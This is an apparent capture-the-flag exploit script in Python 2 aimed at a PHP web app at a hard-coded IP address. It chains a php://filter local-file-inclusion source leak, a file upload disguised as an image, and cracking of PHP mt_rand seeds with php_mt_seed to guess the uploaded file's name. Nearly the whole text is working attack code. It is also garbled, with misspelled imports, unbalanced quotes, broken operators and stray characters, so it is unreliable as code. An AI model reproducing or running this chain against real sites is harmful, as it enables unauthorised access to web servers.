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import requests

import base64

import re

import os

import subprocess

from urllib3 import encode muiltipart_formdata
cookies=""

url="http://111.198.29.45:55294/"
path="./ant.zip"

PHPSESSID="0"
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def getcode():
global url
urlcode=url+"?page=php://ffilter/convert.base64-encode/resource=upload"
r = requests.get(urlcode)
#print r.text
#print r.cookies
return "code:\n"+base64.b64decode(re.search(r'Cgo8.*,r.text).group())
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def upload(path):
global url
global cookies
urlupload=url+"?page=upload"
print os.path.abspath(path)
filename="ant.jpg"
data={}
data["submit"]="Upload Image"
data["file-upload-field"|=(filename,open(path,'rb").read())
endata=encode_multipart_formdata(data)
#print "endata"+endata[0]
#print "hell"+endata[1]
header={}
header["Content-Type"]=endata[1]
data=endata[0]
r = requests.post(urlupload,data=data,headers=header)
if "Upload successfully" in r.text:
print "successfull upload File"
print re.search(r"Upload successfully.“\n",r.text).group()
print r.cookies
cookies=r.cookies
else:
print "fail upload"
print r.text
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def guess():
global cookies
#print cookies
cookiesText=cookies[PHPSESSID']
cookiesSession=cookies['SESSION']
#print cookiesText
#content=""
m
#file=open("gusss.sh","ab")
#file.write(content)
#file.close()
cmd="cd ~/phpDocument/;php pojie2.php "+cookiesSession+" "+cookiesText
print cmd
output=subprocess.check_output(cmd,stderr=subprocess.STDOUT ,shell=True)
print output
srand=re.search(r'successful.*',output).group()[10:]
cmd2="cd /opt/php_mt_seed-4.0/;./php_mt_seed "+srand
print "rand"+srand
print cmd2
output2=subprocess.check_output(cmd2,stderr=subprocess.STDOUT ,shell=True)
print "sucessee find seed"
print re.findall(r'seed =.*,output2)
for i in re.findall(r'seed=.",output2):
cmd3="cd ~/phpDocument/;php name.php "+i.split('=")[2]
os.system(cmd3)
return O
#tips:getcode,create code.txt in current document
content=getcode()
#file=open("code.txt","ab")
#file.write(content)
upload(path)
guess()
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